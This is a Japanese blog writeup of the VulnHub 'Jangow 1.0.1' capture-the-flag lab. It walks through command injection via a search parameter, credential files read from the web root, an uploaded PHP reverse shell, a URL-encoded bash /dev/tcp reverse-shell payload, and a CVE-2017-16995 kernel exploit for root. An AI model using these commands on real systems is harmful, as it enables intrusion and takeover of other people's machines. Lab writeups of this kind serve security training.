0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】Jangow 1.0.1:Writeup

Posted at

概要

VulnHub「Jangow: 1.0.1」のWriteupです。

User Flag

ターゲットマシンのIPアドレスを特定します。

$nmap -PE -PP -PM -sP -n 192.168.178.0/24
Warning:  You are not root -- using TCP pingscan rather than ICMP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-24 13:49 UTC
Nmap scan report for 192.168.178.20
Host is up (0.00016s latency).
Nmap scan report for 192.168.178.32
Host is up (0.00058s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.78 seconds

192.168.178.20は、攻撃用Parrot OSのIPアドレスです。
192.168.178.32が、ターゲットマシンのIPアドレスだと分かりました。

ポートスキャンを実行します。

$nmap -Pn -sCV -T4 -p- 192.168.178.32 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-06-10 18:05  site/
|_
|_http-title: Index of /
Service Info: Host: 127.0.0.1; OS: Unix

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http Apache/2.4.38

80番ポートにアクセスすると、/siteのフォルダを発見できます。

image.png

/siteへアクセスすると、Webサイトが表示されました。

image.png

右上のBuscarボタンをクリックすると、/site/busque.php?buscar=へ遷移しました。

image.png

Buscarはスペイン語で「探す」という意味です。
パラメータ名や挙動から推測するに、パラメータにファイルパスやコマンドを指定できる可能性があります。

?buscar=whoamiでリクエストを送信すると、OSコマンドが実行されました。

$curl http://192.168.178.32/site/busque.php?buscar=whoami
www-data

pwdコマンドで現在のディレクトリパスが分かりました。

$curl http://192.168.178.32/site/busque.php?buscar=pwd   
/var/www/html/site

ディレクトリを確認すると、wordpressフォルダを発見しました。

$curl http://192.168.178.32/site/busque.php?buscar=ls+-la              
total 40
drwxr-xr-x 6 www-data www-data  4096 Jun 10  2021 .
drwxr-xr-x 3 root     root      4096 Oct 31  2021 ..
drwxr-xr-x 3 www-data www-data  4096 Jun  3  2021 assets
-rw-r--r-- 1 www-data www-data    35 Jun 10  2021 busque.php
drwxr-xr-x 2 www-data www-data  4096 Jun  3  2021 css
-rw-r--r-- 1 www-data www-data 10190 Jun 10  2021 index.html
drwxr-xr-x 2 www-data www-data  4096 Jun  3  2021 js
drwxr-xr-x 2 www-data www-data  4096 Jun 10  2021 wordpress

wordpress配下を見ると、config.phpがあります。

$curl http://192.168.178.32/site/busque.php?buscar=ls+-la+wordpress
total 24
drwxr-xr-x 2 www-data www-data  4096 Jun 10  2021 .
drwxr-xr-x 6 www-data www-data  4096 Jun 10  2021 ..
-rw-r--r-- 1 www-data www-data   347 Jun 10  2021 config.php
-rw-r--r-- 1 www-data www-data 10190 Jun 10  2021 index.html

wordpress/config.phpからDBの認証情報を入手できました。

$curl http://192.168.178.32/site/busque.php?buscar=cat+wordpress/config.php
<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
?>

また、/var/www/html/配下に.backupを発見しました。

$curl http://192.168.178.32/site/busque.php?buscar=ls+-la+../
total 16
drwxr-xr-x 3 root     root     4096 Oct 31  2021 .
drwxr-xr-x 3 root     root     4096 Oct 31  2021 ..
-rw-r--r-- 1 www-data www-data  336 Oct 31  2021 .backup
drwxr-xr-x 6 www-data www-data 4096 Jun 10  2021 site

.backupを確認すると、別のDB認証情報を入手できました。

$curl http://192.168.178.32/site/busque.php?buscar=cat+../.backup          
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);

Username: jangow01Password: abygurl69でFTPに接続が成功しました。

$ftp 192.168.178.32
Connected to 192.168.178.32.
220 (vsFTPd 3.0.3)
Name (192.168.178.32:user): jangow01
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

/home/jangow01/user.txtをダウンロード出来ました。

ftp> cd /home/jangow01
250 Directory successfully changed.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||31781|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**************************************************************|    33        1.72 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (1.08 KiB/s)

ユーザーフラグを入手できました。

$cat user.txt 
d41d8cd98f00b204e9800998ecf8427e

Root Flag

FTPで/tmpにPHPリバースシェルプログラムを設置出来ました。
また、権限の設定もしておきます。

ftp> cd /tmp
250 Directory successfully changed.

ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||29479|)
150 Ok to send data.
100% |**************************************************************|  5496      131.03 MiB/s    00:00 ETA
226 Transfer complete.
5496 bytes sent in 00:00 (7.90 MiB/s)

ftp> chmod 777 php-reverse-shell.php

?buscar=パラメータを利用し、/tmpに設置したPHPリバースシェルプログラムをWebアプリケーション上にコピーします。

?buscar=cp+/tmp/php-reverse-shell.php+./evil.php
$curl http://192.168.178.32/site/busque.php?buscar=ls+-ls+/var/www/html/site
total 40
 4 drwxr-xr-x 3 www-data www-data  4096 Jun  3  2021 assets
 4 -rw-r--r-- 1 www-data www-data    35 Jun 10  2021 busque.php
 4 drwxr-xr-x 2 www-data www-data  4096 Jun  3  2021 css
 8 -rwxr-xr-x 1 www-data www-data  5496 Aug 24 20:24 evil.php
12 -rw-r--r-- 1 www-data www-data 10190 Jun 10  2021 index.html
 4 drwxr-xr-x 2 www-data www-data  4096 Jun  3  2021 js
 4 drwxr-xr-x 2 www-data www-data  4096 Jun 10  2021 wordpress

Netcatでリッスンします。

$nc -nlvp 1234
Listening on 0.0.0.0 1234

webアプリケーション上に設置したリバースシェルプログラムを実行しましたが、タイムアウトでリバースシェルを張れませんでした。

image.png

ファイアウォールで、アクセスできるポートが制限されている可能性があります。
ポートを443に変更し、リバーシェルのペイロードをURLエンコードします。

?buscar=%2Fbin%2Fbash -c '%2Fbin%2Fbash -i >%26 %2Fdev%2Ftcp%2F192.168.178.20%2F443 0>%261'

image.png

443ポートでリバースシェルを張れました。

$sudo nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 192.168.178.32 43974
bash: cannot set terminal process group (2761): Inappropriate ioctl for device
bash: no job control in this shell
www-data@jangow01:/var/www/html/site$ whoami
whoami
www-data

TTYの設定をします。

$ python3 -c "import pty;pty.spawn('/bin/bash')"

FTPでlinpeas.shをアップロードします。

ftp> put linpeas.sh
local: linpeas.sh remote: linpeas.sh
229 Entering Extended Passive Mode (|||37010|)
150 Ok to send data.
100% |***********************************************************************|   828 KiB    9.75 MiB/s    00:00 ETA
226 Transfer complete.
848317 bytes sent in 00:00 (9.61 MiB/s)

jangow01にログインしlinpeas.shを実行すると、OSの該当バージョンで権限昇格の脆弱性情報が見つかりました。

$ su jangow01
su jangow01
Password: abygurl69

$ chmod +x ./linpeas.sh

$ ./linpeas.sh

═══════════════════════════════╣ Basic information ╠═══════════════════════════════
                               ╚═══════════════════╝
OS: Linux version 4.4.0-31-generic (buildd@lgw01-16) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2.1) ) #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester

[+] [CVE-2017-16995] eBPF_verifier

   Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   Exposure: highly probable
   Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
   Download URL: https://www.exploit-db.com/download/45010
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

ペイロードはexploitDBの物を利用します。

FTPでPoCをアップロードします。

ftp> cd /tmp
250 Directory successfully changed.
ftp> put exploit.c
local: exploit.c remote: exploit.c
229 Entering Extended Passive Mode (|||17420|)
150 Ok to send data.
100% |**************************************************************************| 11826      268.52 MiB/s    00:00 ETA
226 Transfer complete.
11826 bytes sent in 00:00 (14.60 MiB/s)

PoCをコンパイルします。

$ gcc exploit.c -o exploit

実行すると、root権限を取得できました。

$ ./exploit
./exploit
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff8800399a7900
[*] Leaking sock struct from ffff880039ea0f00
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880035297540
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880035297540
[*] credentials patched, launching shell...
# whoami
whoami
root

/root/proof.txtからルートフラグを入手できました。

# cat /root/proof.txt
cat /root/proof.txt
                       @@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@&&&&&&&&&&&&&&                          
                       @  @@@@@@@@@@@@@@@&#   #@@@@@@@@&(.    /&@@@@@@@@@@                          
                       @  @@@@@@@@@@&( .@@@@@@@@&%####((//#&@@@&   .&@@@@@                          
                       @  @@@@@@@&  @@@@@@&@@@@@&%######%&@*   ./@@*   &@@                          
                       @  @@@@@* (@@@@@@@@@#/.               .*@.  .#&.   &@@@&&                    
                       @  @@@, /@@@@@@@@#,                       .@.  ,&,   @@&&                    
                       @  @&  @@@@@@@@#.         @@@,@@@/           %.  #,   %@&                    
                       @@@#  @@@@@@@@/         .@@@@@@@@@@            *  .,    @@                   
                       @@&  @@@@@@@@*          @@@@@@@@@@@             ,        @                   
                       @&  .@@@@@@@(      @@@@@@@@@@@@@@@@@@@@@        *.       &@                  
                      @@/  *@@@@@@@/           @@@@@@@@@@@#                      @@                 
                      @@   .@@@@@@@/          @@@@@@@@@@@@@              @#      @@                 
                      @@    @@@@@@@@.          @@@@@@@@@@@              @@(      @@                 
                       @&   .@@@@@@@@.         , @@@@@@@ *            .@@@*(    .@                  
                       @@    ,@@@@@@@@,   @@@@@@@@@&*%@@@@@@@@@,    @@@@@(%&*   &@                  
                       @@&     @@@@@@@@@@@@@@@@@         (@@@@@@@@@@@@@@%@@/   &@                   
                       @ @&     ,@@@@@@@@@@@@@@@,@@@@@@@&%@@@@@@@@@@@@@@@%*   &@                    
                       @  @@.     .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*    &@&                    
                       @  @@@&       ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/     &@@&&                    
                       @  @@@@@@.        *%@@@@@@@@@@@@@@@@@@@@&#/.      &@@@@&&                    
                       @  @@@@@@@@&               JANGOW               &@@@                          
                       @  &&&&&&&&&@@@&     @@(&@ @. %.@ @@%@     &@@@&&&&                          
                                     &&&@@@@&%       &/    (&&@@@&&&                                
                                       (((((((((((((((((((((((((((((





da39a3ee5e6b4b0d3255bfef95601890afd80709
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?